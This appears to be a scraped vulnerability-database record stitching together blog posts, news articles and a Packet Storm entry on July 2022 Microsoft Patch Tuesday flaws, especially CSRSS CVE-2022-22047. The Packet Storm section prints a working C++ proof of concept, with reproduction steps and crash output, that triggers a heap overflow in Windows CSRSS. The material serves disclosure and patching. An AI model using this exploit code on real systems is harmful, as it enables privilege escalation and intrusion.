Microsoft has been acting weird lately. I mean the recent [publication of a propaganda report](<https://t.me/avleonovcom/1021>) about evil Russians and how Microsoft is involved in the conflict between countries. It wouldn&#x27;t be unusual for a US government agency, NSA or CIA to publish such a report. But when a global IT vendor, which, in theory, should be more or less neutral, does this\u2026 This is a clear signal. It&#x27;s not about business anymore. \n\nAlternative video link (for Russia): <https://vk.com/video-149273431_456239096>\n\nI&#x27;ll take a closer look at this report in the next episode of the Vulnerability Management news, but for now let&#x27;s take a look at Microsoft July Patch Tuesday. Yes, the vendor is behaving strangely, but Microsoft products need to be patched. Right? At least for now. And tracking vulnerabilities is always a good thing. \n\nOn July Patch Tuesday, July 12, 84 vulnerabilities were released. Between June and July Patch Tuesdays, 15 vulnerabilities were released.

At the top of the July Patch Tuesday list is one critical and actively exploited **Elevation of Privilege** in Windows CSRSS (CVE-2022-22047). This vulnerability has been widely reported in the media.\n\nClient Server Runtime Subsystem, or csrss.exe, is a component of the Windows NT family of operating systems that provides the user mode side of the Win32 subsystem and is included in Windows NT 3.1 and later. Because most of the Win32 subsystem operations have been moved to kernel mode drivers in Windows NT 4 and later, CSRSS is mainly responsible for Win32 console handling and GUI shutdown.\n\nCSRSS runs as a user-mode system service. When a user-mode process calls a function involving console windows, process/thread creation, or side-by-side support, instead of issuing a system call, the Win32 libraries (kernel32.dll, user32.dll, gdi32.dll) send an inter-process call to the CSRSS process which does most of the actual work without compromising the kernel.\n\nThis Elevation of Privilege vulnerability in CSRSS allows an attacker to execute code as SYSTEM, provided they can execute other code on the target. Bugs of this type are typically paired with a code execution bug, usually a specially crafted Office or Adobe document, to take over a system. These attacks often rely on macros, which is why so many were disheartened to hear Microsoft\u2019s delay in blocking all Office macros by default.\n\nMicrosoft says this vulnerability has been exploited in the wild, though no further details have been shared. There is no public exploit yet. Two similar vulnerabilities in CSRSS (CVE-2022-22049 and CVE-2022-22026) were also fixed, likely as a result of Microsoft\u2019s investigation into the in-the-wild exploitation of CVE-2022-22047.\n\n## RPC RCE\n\n**Remote Code Execution** in Remote Procedure Call Runtime (CVE-2022-22038). Here Microsoft has a POC exploit. This July Patch Tuesday bug could allow a remote, unauthenticated attacker to exploit code on an affected system. While not specified in the bulletin, the presumption is that the code execution would occur at elevated privileges. Combine these attributes and you end up with a potentially wormable bug. Microsoft states the attack complexity is high. Additional actions by an attacker are required in order to prepare a target for successful exploitation and an attacker would need to make \u201crepeated exploitation attempts\u201d to take advantage of this bug, but unless you are actively blocking RPC activity, you may not see these attempts.\n\n## Microsoft Edge Memory Corruption\n\nBetween June and July Patch Tuesday, **Memory Corruption** in Microsoft Edge (CVE-2022-2294) was released. Heap buffer overflow in WebRTC, to be precise. WebRTC (Web Real-Time Communication) is a free and open-source project providing web browsers and mobile applications with real-time communication (RTC) via application programming interfaces (APIs). It allows audio and video communication to work inside web pages by allowing direct peer-to-peer communication, eliminating the need to install plugins or download native apps. So, the vulnerability is in the Chromium Open Source Software (OSS) which is consumed by Microsoft Edge. Google is aware that an exploit for this vulnerability exists in the wild. If you\u2019re using Microsoft Edge (Chromium-based), make sure it gets updated as soon as possible.\n\n## Azure Site Recovery RCEs and EOPs\n\nThere are also a lot of vulnerabilities in Azure Site Recovery in July Patch Tuesday. Both EoPs and RCEs, and quite a few with non-public exploits of the POC maturity level. According to the description &quot;Site Recovery is a native disaster recovery as a service (DRaaS)&quot;, it would seem that this should be patched by Microsoft themselves. But in fact, there is a Microsoft Azure Site Recovery suite installed on the hosts, and at least some of the vulnerabilities were found in it. \n\nLet&#x27;s see, for example, **Elevation of Privilege** in Azure Site Recovery (CVE-2022-33675). The vulnerability was discovered and [reported to Microsoft by Tenable researcher Jimi Sebree](<https://www.tenable.com/security/research/tra-2022-26>). The Microsoft Azure Site Recovery suite contains a DLL hijacking flaw that allows for privilege escalation from any low privileged user to SYSTEM. \n\nIncorrect permissions on the service\u2019s executable directory (E:\\Program Files (x86)\\Microsoft Azure Site Recovery\\home\\svsystems\\transport\\\\) allow new files to be created by any user. The service launched from this directory runs automatically and with SYSTEM privileges and attempts to load several DLLs from this directory. This allows for a DLL hijacking/planting attack via several libraries that are attempted to be loaded from this location when the service is launched. Existing deployments should ensure that the Microsoft-supplied patches have been appropriately applied.\n\nThe full Vulristics report is available here: [ms_patch_tuesday_july2022_report](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_july2022_report_with_comments_ext_img.html>)", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-07-23T08:34:29", "type": "avleonov", "title": "Microsoft Patch Tuesday July 2022: propaganda report, CSRSS EoP, RPC RCE, Edge, Azure Site Recovery", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22026", "CVE-2022-22038", "CVE-2022-22047", "CVE-2022-22049", "CVE-2022-2294", "CVE-2022-33675"], "modified": "2022-07-23T08:34:29", "id": "AVLEONOV:B87691B304EF70215B926F66B871260A", "href": "https://avleonov.com/2022/07/23/microsoft-patch-tuesday-july-2022-propaganda-report-csrss-eop-rpc-rce-edge-azure-site-recovery/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2022-08-12T17:03:27", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-12T00:00:00", "type": "packetstorm", "title": "Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22049"], "modified": "2022-08-12T00:00:00", "id": "PACKETSTORM:168069", "href": "https://packetstormsecurity.com/files/168069/Windows-sxssrv-BaseSrvActivationContextCacheDuplicateUnicodeString-Heap-Buffer-Overflow.html", "sourceData": "`Windows: heap buffer overflow in sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString \n \n## SUMMARY \nA heap buffer overflow issue exists in Windows 11 and earlier versions.

The new size gets truncated to a 16-bit value[1], so if the size of the source string is 0xfffe bytes, the function will try to allocate a 0-byte buffer[2] and copy 0xfffe bytes into it[3]. \n \nThe vulnerable function is reachable from the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine. However, the default size of the CSR shared memory section is only 0x10000 bytes, and some of that space must be reserved for the capture buffer header, so by default it's impossible to pass a big enough `UNICODE_STRING` to CSRSS. Luckily, the size of the section is controlled entirely by the client process, and if an attacker can modify `ntdll!CsrpConnectToServer` early enough during process startup, they'll be able to pass strings of (virtually) any size. \n \n \n## VERSION \nWindows 11 12H2 (OS Build 22000.593) \nWindows 10 12H2 (OS Build 19044.1586) \n \n \n## REPRODUCTION CASE \nThis (not very reliable) proof-of-concept creates a new process in a suspended state, attempts to find and replace 32-bit value 0x10000 inside `CsrpConnectToServer`, and resumes the process' main thread.

A malicious application may be able to execute arbitrary code with SYSTEM privileges. \n \n \n## VULNERABILITY DETAILS \nIn 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`. \n \nWe've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`. \n \n1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html \n \n \n## VERSION \nWindows 11 12H2 (OS Build 22000.593) \nWindows 10 12H2 (OS Build 19044.1586) \n \n \n## REPRODUCTION CASE \n1) Enable page heap verification for csrss.exe: \n``` \ngflags /p /enable csrss.exe /full \n``` \n \n2) Restart the machine. \n \n3) Compile and run: \n``` \n#pragma comment(lib, \"ntdll\") \n \n#include <windows.h> \n#include <winternl.h> \n#include <cstdint> \n#include <cstdio> \n#include <string> \n \ntypedef struct _SECTION_IMAGE_INFORMATION { \nPVOID EntryPoint; \nULONG StackZeroBits; \nULONG StackReserved; \nULONG StackCommit; \nULONG ImageSubsystem; \nWORD SubSystemVersionLow; \nWORD SubSystemVersionHigh; \nULONG Unknown1; \nULONG ImageCharacteristics; \nULONG ImageMachineType; \nULONG Unknown2[3]; \n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; \n \ntypedef struct _RTL_USER_PROCESS_INFORMATION { \nULONG Size; \nHANDLE ProcessHandle; \nHANDLE ThreadHandle; \nCLIENT_ID ClientId; \nSECTION_IMAGE_INFORMATION ImageInformation; \nBYTE Unknown1[128]; \n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; \n \nNTSTATUS(NTAPI* RtlCreateProcessParameters) \n(PRTL_USER_PROCESS_PARAMETERS*, \nPUNICODE_STRING, \nPUNICODE_STRING, \nPUNICODE_STRING, \nPUNICODE_STRING, \nPVOID, \nPUNICODE_STRING, \nPUNICODE_STRING, \nPUNICODE_STRING, \nPUNICODE_STRING); \nNTSTATUS(NTAPI* RtlCreateUserProcess) \n(PUNICODE_STRING, \nULONG, \nPRTL_USER_PROCESS_PARAMETERS, \nPSECURITY_DESCRIPTOR, \nPSECURITY_DESCRIPTOR, \nHANDLE, \nBOOLEAN, \nHANDLE, \nHANDLE, \nPRTL_USER_PROCESS_INFORMATION); \n \nPVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG); \nVOID(NTAPI* CsrFreeCaptureBuffer)(PVOID); \nNTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG); \nNTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR); \n \nvoid CaptureString(LPVOID capture_buffer, \nuint8_t* msg_field, \nPCWSTR string, \nsize_t length = 0) { \nif (length == 0) \nlength = lstrlenW(string); \n \nCsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2, \nlength * 2 + 2, (PSTR)msg_field); \n} \n \nint main() { \nHMODULE ntdll = LoadLibrary(L\"ntdll\"); \n \n#define INIT_PROC(name) \\ \nname = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name)); \n \nINIT_PROC(RtlCreateProcessParameters); \nINIT_PROC(RtlCreateUserProcess); \n \nINIT_PROC(CsrAllocateCaptureBuffer); \nINIT_PROC(CsrFreeCaptureBuffer); \nINIT_PROC(CsrClientCallServer); \nINIT_PROC(CsrCaptureMessageString); \n \nUNICODE_STRING image_path; \nPRTL_USER_PROCESS_PARAMETERS proc_params; \nRTL_USER_PROCESS_INFORMATION proc_info = {0}; \n \nRtlInitUnicodeString(&image_path, L\"\\\\SystemRoot\\\\notepad.exe\"); \nRtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL, \nNULL, NULL, NULL, NULL); \nRtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL, \nNULL, NULL, FALSE, NULL, NULL, &proc_info); \n \nconst size_t HEADER_SIZE = 0x40; \nuint8_t msg[HEADER_SIZE + 0x1f8] = {0}; \n \n#define FIELD(n) msg + HEADER_SIZE + 8 * n \n#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value; \n \nSET_FIELD(2, proc_info.ClientId.UniqueProcess); \nSET_FIELD(3, proc_info.ClientId.UniqueThread); \n \nSET_FIELD(4, -1); \nSET_FIELD(7, 1); \nSET_FIELD(8, 0x20000); \n \nstd::string manifest = \n\"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' \" \n\"manifestVersion='1.0'>\" \n\"<assemblyIdentity name='@' version='1.0.0.0'/>\" \n\"</assembly>\"; \nmanifest.replace(manifest.find('@'), 1, 0x4000, 'A'); \n \nSET_FIELD(13, manifest.c_str()); \nSET_FIELD(14, manifest.size()); \n \nPVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200); \n \nCaptureString(capture_buffer, FIELD(22), L\"C:\\\\Windows\\\\\"); \nCaptureString(capture_buffer, FIELD(24), L\"\\x00\\x00\", 2); \nCaptureString(capture_buffer, FIELD(28), L\"A\"); \nSET_FIELD(28, 0xff000002); \n \nCsrClientCallServer(msg, capture_buffer, 0x1001001d, \nsizeof(msg) - HEADER_SIZE); \n} \n``` \n \nThe crash should look like to the following: \n``` \nCONTEXT: 0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0) \nrax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010 \nrdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001 \nrip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80 \nr8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558 \nr11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001 \nr14=0000000000000000 r15=0000000000000005 \niopl=0 nv up ei pl nz na pe nc \ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 \nntdll!memcpy+0x113: \n0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????

There are always so many ridiculous memes, headlines, misleading stories, viral Facebook posts and manipulated media that I see come across my Instagram feed or via my wife when she shows me TikToks she favorited. \n\n \n\n\nOne recent event, though, was so crushing to me that I had to call it out specifically. [Former Japanese Prime Minister Shinzo Abe was assassinated](<https://www.nytimes.com/live/2022/07/08/world/japan-shinzo-abe-shooting>) earlier this month while making a campaign speech in public. This was a horrible tragedy marking the death of a powerful politician in one of the world\u2019s most influential countries. It was the top story in the world for several days and was even more shocking given Japan\u2019s strict gun laws and the relative infrequency of any global leaders being the target of violence. \n\n \n\n\nIt took no time for the internet at large to take this tragedy and immediately try to spin it to their whims to spread false narratives, disinformation and downright harmful fake stories that mar Abe\u2019s death and make a mockery of the 24/7 news cycle and the need for everyone to immediately have their own \u201ctake\u201d on social media. \n\n \n\n\nShortly after Abe\u2019s murder, a far-right French politician took a false claim from the infamous online forum 4chan that video game developer Hideo Kojima was the suspect who killed Abe and [shared it on Twitter.](<https://www.bbc.com/news/newsbeat-62121650>) The politician, Damien Rieu, even went as far to connect Kojima to the \u201cfar left,\u201d linking to pictures of the \u201cMetal Gear Solid\u201d creator wearing a shirt depicting the Joker and a bag with Che Guevara\u2019s face on it. Rieu\u2019s tweet was [taken as fact by a Greek television news station](<https://kotaku.com/shinzo-abe-assassin-killer-kojima-greek-news-confusion-1849157839>), which also [aired a report](<https://youtu.be/MfQPJggD1Us>) that Kojima was the assassin. \n\n \n\n\nThankfully, this claim was quickly debunked and the [politician issued an apology](<https://twitter.com/DamienRieu/status/1545460974592970752>), but Kojima and his company have [threatened legal action](<https://www.videogameschronicle.com/news/legal-action-threatened-as-hideo-kojima-falsely-linked-to-shinzo-abe-assassination/>) over the ordeal (as they should). This is an appalling scenario in which social media was quick to assign blame for Abe\u2019s assassination, then picked up by an influential person and even making it to a reputable international news station. This goes beyond the realm of the typical \u201cRussian bot\u201d fake news we think of this was a failure to run any simple fact checks before reporting a damning claim about someone. Imagine if it was just anyone who was blamed for Abe\u2019s assassination, and not someone like Kojima who has a very public platform and the funds to fight these claims. \n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhptqreL2kFkNoBxL-NGrBPSwlnAY8sv3eiiN0bwTAACJXRiQB69a8jp752bncymBYSD_SC9JV3jCHn73HzQMV3s950OgaXzIbQM_4Kpd4_f2245CG2E1IXo8f7zW0qGxNO2hQ6F9fA3G4J1piu7ue3esWeL2eWi-0dXgDfUl3U4YH4QKkwPiCnZxfo/s2053/Screenshot_20220720-135745.png>)\n\nPeople also took the opportunity within the first few hours of Abe\u2019s death to try and craft their own narrative using fake news and misleading information. A viral claim that he was killed over his COVID-19-related policies made the rounds, though these claims were later proven [verifiably false](<https://www.statesman.com/story/news/politics/politifact/2022/07/13/fact-check-was-shinzo-abe-assassinated-over-covid-19-response/65372187007/>). Another completely fake and manipulated screenshot claimed to show that Abe had tweeted shortly before his death that he had incriminating news about [U.S. politician Hillary Clinton](<https://apnews.com/article/Fact-Check-Fake-Shinzo-Abe-Tweet-499806264509>). \n\n \n\n\nI went on Instagram and [found a still-active post](<https://www.instagram.com/p/Cf2CODKutKG/?igshid=YmMyMTA2M2Y=>) from an account with more than 54,000 followers that indicates that Abe was assassinated because he had less-than-strict COVID policies that did not align with the \u201cglobal agenda.\u201d Instagram flagged the post as \u201cmissing context,\u201d but does not flag it as downright false and the content is still accessible as of Wednesday afternoon. \n\n \n\n\nWhat disturbs me the most about this whole event is that nothing is off limits for social media users to bend to their whim. I suppose I can't say I\u2019m surprised \u2014 ESPN even recently fell for something as silly as a fake TikTok video alleging to show a [UPS driver dunking a basketball](<https://www.snopes.com/fact-check/ups-driver-dunk-car/>) while jumping over a car. But it is a stark reminder that when breaking news occurs, no matter how serious or dangerous it is, there\u2019s always going to be people online who will be spreading fake news, disinformation and/or misinformation. This makes me miss the days when the biggest fake news story out there was [Balloon Boy](<https://www.latimes.com/entertainment/la-et-media-balloon-boy-pictures-photogallery.html>). \n\n \n\n\n \n\n## The one big thing \n\n> \n\n\nThe U.S. Cybersecurity and Infrastructure Security Agency is asking all federal agencies to [patch for an actively exploited Microsoft vulnerability](<https://threatpost.com/cisa-urges-patch-11-bug/180235/>) disclosed last week. By adding CVE-2022-22047, an elevation of privilege vulnerability affecting the Windows Client Server Runtime Subsystem (CSRSS), to its [list of known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), agencies are compelled to patch for the issue by Aug. 2. Microsoft and CISA both say attackers are actively exploiting the issue in the wild. \n\n\n> ### Why do I care? \n> \n> This vulnerability is the only one disclosed as part of [last week\u2019s Patch Tuesday](<https://blog.talosintelligence.com/2022/07/microsoft-patch-tuesday-for-july-2022.html>) that\u2019s been exploited in the wild. An attacker could exploit this vulnerability to execute code on the targeted machine as SYSTEM. However, they would need physical access to a machine to exploit the issue. That being said, if CISA is warning users that it\u2019s being actively exploited in the wild, it\u2019s good of a time as any to remember to patch. \n\n> \n> ### So now what? \n> \n> [Our Patch Tuesday blog post](<https://blog.talosintelligence.com/2022/07/microsoft-patch-tuesday-for-july-2022.html>) contains links to Microsoft\u2019s updates for Patch Tuesday and a rundown of other vulnerabilities you should know about.

A new report into the major vulnerability in Log4j declared that the open-source community does not have enough resources to properly secure its code and needs the public and private sector to assist with the implementation of patches. They also warned that there are still many instances of vulnerable software that attackers could take advantage of. The DHS report also says the original vulnerable code could have been detected in 2013 had the reviewers had the time had the appropriate cybersecurity knowledge to spot the flaw. That being said, the investigating panel said there were no major cyber attacks against U.S. critical infrastructure leveraging Log4shell. ([Dark Reading](<https://www.darkreading.com/application-security/dhs-review-board-deems-log4j-an-endemic-cyber-threat>), [Associated Press](<https://apnews.com/article/biden-technology-software-hacking-4361f6e9b386259609b05b389db4d7bf>), [ZDNet](<https://www.zdnet.com/article/log4j-flaw-why-it-will-still-be-causing-problems-a-decade-from-now/>)) \n\nThe European Union is warning that increased cyber attacks from Russian state-sponsored actors run the risk of unnecessary escalation and spillover effects to all of Europe. A formal EU declaration says that member nations \u201cstrongly condemn this unacceptable behaviour in cyberspace and express solidarity with all countries that have fallen victim.\u201d A Lithuanian energy firm was the recent target of a distributed denial-of-service attack that the country said was the largest cyber attack in a decade.

The Mantis botnet, which is suspected to be an evolution of Meris, has already targeted users in Germany, Taiwan, South Korea, Japan, the U.S. and the U.K. Most recently, it launched a malware campaign against Android users in France, using malicious SMS messages to lure victims into downloading malware that adds devices to the botnet\u2019s growing system.

When the bug was first reported by Microsoft\u2019s own security team earlier this month it was classified as a zero-day, or a known bug with no patch. That patch was made available on [Tuesday July 5](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-22047>).\n\nResearchers at FortiGuard Labs, a division of Fortinet, said the threat the bug poses to business is \u201cmedium\u201d. [In a bulletin, researchers explain](<https://www.fortiguard.com/threat-signal-report/4671/known-active-exploitation-of-windows-csrss-elevation-of-privilege-vulnerability-cve-2022-22047>) the downgraded rating because an adversary needs advanced \u201clocal\u201d or physical access to the targeted system to exploit the bug and a patch is available.\n\nThat said, an attacker who has previously gained remote access to a computer system (via malware infection) could exploit the vulnerability remotely.\n\n\u201cAlthough there is no further information on exploitation released by Microsoft, it can be surmised that an unknown remote code execution allowed for an attacker to perform lateral movement and escalate privileges on machines vulnerable to CVE-2022-22047, ultimately allowing for SYSTEM privileges,\u201d FortiGuard Labs wrote.\n\n## Office and Adobe Documents Entry Points\n\nWhile the vulnerability is being actively exploited, there are no known public proof of concept exploits in the wild that can be used to help mitigate or sometimes fuel attacks, according to a [report by The Record](<https://therecord.media/cisa-adds-windows-bug-to-exploited-list-urges-agencies-to-patch-by-august-2/>).\n\n\u201cThe vulnerability allows an attacker to execute code as SYSTEM, provided they can execute other code on the target,\u201d wrote Trend Micro\u2019s [Zero Day Initiative (ZDI) in its Patch Tuesday](<https://www.zerodayinitiative.com/blog/2022/7/12/the-july-2022-security-update-review>) roundup last week.\n\n\u201cBugs of this type are typically paired with a code execution bug, usually a specially crafted Office or Adobe document, to take over a system. These attacks often rely on macros, which is why so many were disheartened to hear Microsoft\u2019s delay in blocking all Office macros by default,\u201d wrote ZDI author Dustin Childs.\n\nMicrosoft recently said it would block the use of Visual Basic for Applications (VBA) macros by default in some of its Office apps, however set no timeline enforce the policy.\n\nCISA [added the Microsoft bug to its running list](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) of known exploited vulnerabilities on July 7 (search \u201cCVE-2022-22047\u201d to find the entry) and recommends simply, \u201capply updates per vendor instructions\u201d.\n\n_[[**FREE On-demand Event**](<https://threatpost.com/webinars/securely-access-your-machines-from-anywhere-presented-by-keeper-security/>): **Join Keeper Security\u2019s Zane Bond in a Threatpost roundtable and learn how to securely access your machines from anywhere and share sensitive documents from your home office.** **[WATCH HERE](<https://threatpost.com/webinars/securely-access-your-machines-from-anywhere-presented-by-keeper-security/>)**.]_\n\nImage: Courtesy of Microsoft\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-18T12:19:26", "type": "threatpost", "title": "CISA Urges Patch of Exploited Windows 11 Bug by Aug. 2", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22047"], "modified": "2022-07-18T12:19:26", "id": "THREATPOST:781705ADC10B0D40FC4B8D835FA5EA6D", "href": "https://threatpost.com/cisa-urges-patch-11-bug/180235/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-07-13T05:57:21", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhMMVV60incjQemAA8K9lAWSescsqjqG2a3UdVc4GiCMmXBd6175xW7cZiTJONSGUB1N9s-MMZARqaZP7h-OdKy4jUdvvT_H-aPCCLF9TKLu1S1Xcj8NZh673Hir7VOwNMNdOLjEU6LSXewzYkJXyX0Y0dpIn7L1WK7IuD61f1iG8uajyHoBwST8KVh/s728-e100/windows-update.jpg>)\n\nMicrosoft released its monthly round of Patch Tuesday updates to address [84 new security flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2022-Jul>) spanning multiple product categories, counting a zero-day vulnerability that's under active attack in the wild.\n\nOf the 84 shortcomings, four are rated Critical, and 80 are rated Important in severity.

Two of these flaws are related to remote code execution and the remaining 30 concern privilege escalation.\n\n\"Successful exploitation [...] requires an attacker to compromise admin credentials to one of the VMs associated with the configuration server,\" the company said, adding the flaws do not \"allow disclosure of any confidential information, but could allow an attacker to modify data that could result in the service being unavailable.\"\n\nOn top of that, Microsoft's July update also contains fixes for four privilege escalation vulnerabilities in the Windows Print Spooler module ([CVE-2022-22022](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-22022>), [CVE-2022-22041](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-22041>), [CVE-2022-30206](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30206>), and [CVE-2022-30226](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30226>)) after a [brief respite in June 2022](<https://thehackernews.com/2022/06/patch-tuesday-microsoft-issues-fix-for.html>), underscoring what appears to be a never-ending stream of flaws plaguing the technology.\n\nRounding off the Patch Tuesday updates are two notable fixes for tampering vulnerabilities in the Windows Server Service ([CVE-2022-30216](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30216>)) and Microsoft Defender for Endpoint ([CVE-2022-33637](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33637>)) and three denial-of-service (DoS) flaws in Internet Information Services ([CVE-2022-22025](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22025>) and [CVE-2022-22040](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22040>)) and Security Account Manager ([CVE-2022-30208](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30208>)).\n\n### Software Patches from Other Vendors\n\nIn addition to Microsoft, security updates have also been released by other vendors since the start of the month to rectify several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security/security-bulletin.html>)\n * [AMD](<https://www.amd.com/en/corporate/product-security>)\n * [Android](<https://source.android.com/security/bulletin/2022-07-01>)\n * [Apache Projects](<https://blogs.apache.org/foundation/date/20220712>)\n * [Cisco](<https://thehackernews.com/2022/07/cisco-and-fortinet-release-security.html>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * [Dell](<https://www.dell.com/support/security/>)\n * [Fortinet](<https://thehackernews.com/2022/07/cisco-and-fortinet-release-security.html>)\n * [GitLab](<https://about.gitlab.com/releases/2022/07/04/gitlab-15-1-2-released/>)\n * [Google Chrome](<https://thehackernews.com/2022/07/update-google-chrome-browser-to-patch.html>)\n * [HP](<https://support.hp.com/us-en/security-bulletins>)\n * [Intel](<https://www.intel.com/content/www/us/en/security-center/default.html>)\n * [Lenovo](<https://support.lenovo.com/us/en/product_security/ps500001-lenovo-product-security-advisories>)\n * Linux distributions [Debian](<https://www.debian.org/security/2022/>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21::::RP::>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=1&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=PortalProduct>), [SUSE](<https://www.suse.com/support/update/>), and [Ubuntu](<https://ubuntu.com/security/notices>)\n * [MediaTek](<https://corp.mediatek.com/product-security-bulletin/July-2022>)\n * [Qualcomm](<https://docs.qualcomm.com/product/publicresources/securitybulletin/july-2022-bulletin.html>)\n * [SAP](<https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10>)\n * [Schneider 